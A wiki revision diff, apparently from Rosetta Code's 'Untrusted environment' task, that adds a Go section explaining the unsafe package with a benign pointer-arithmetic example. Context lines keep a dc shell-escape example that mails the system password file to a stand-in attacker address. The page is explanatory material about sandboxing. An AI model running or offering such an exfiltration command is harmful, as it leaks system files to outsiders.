Untrusted environment: Difference between revisions

Added Go
m (→‎{{header|Kotlin}}: Removed duplicated word.)
(Added Go)
Line 20:
 
<lang dc>`!'cat /etc/password|mail badguy@hackersrus.com</lang>
 
=={{header|Go}}==
Go is generally a safe language. In particular, whilst pointers are supported, arithmetic on them is not and so it's not possible to use pointers to poke around within the language's internal structures or to point to arbitrary memory locations.
 
However, there are occasions (usually for performance reasons or to do things which - whilst desirable - wouldn't otherwise be possible) when pointer arithmetic is needed and Go provides the 'unsafe' package for these occasions.
 
This package contains functions which allow one to determine the size/alignment of various entities and the offset of particular fields within a struct as well as to perform pointer arithmetic.
 
The following example shows how to use a combination of reflection and pointer arithmetic to indirectly (and unsafely) change the contents of a byte slice.
<lang go>package main
 
import (
"fmt"
"reflect"
"unsafe"
)
 
func main() {
bs := []byte("Hello world!")
fmt.Println(string(bs))
g := "globe"
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&bs))
for i := 0; i < 5; i++ {
data := (*byte)(unsafe.Pointer(hdr.Data + uintptr(i) + 6))
*data = g[i]
}
fmt.Println(string(bs))
}</lang>
 
{{out}}
<pre>
Hello world!
Hello globe!
</pre>
 
=={{header|J}}==
9,479

edits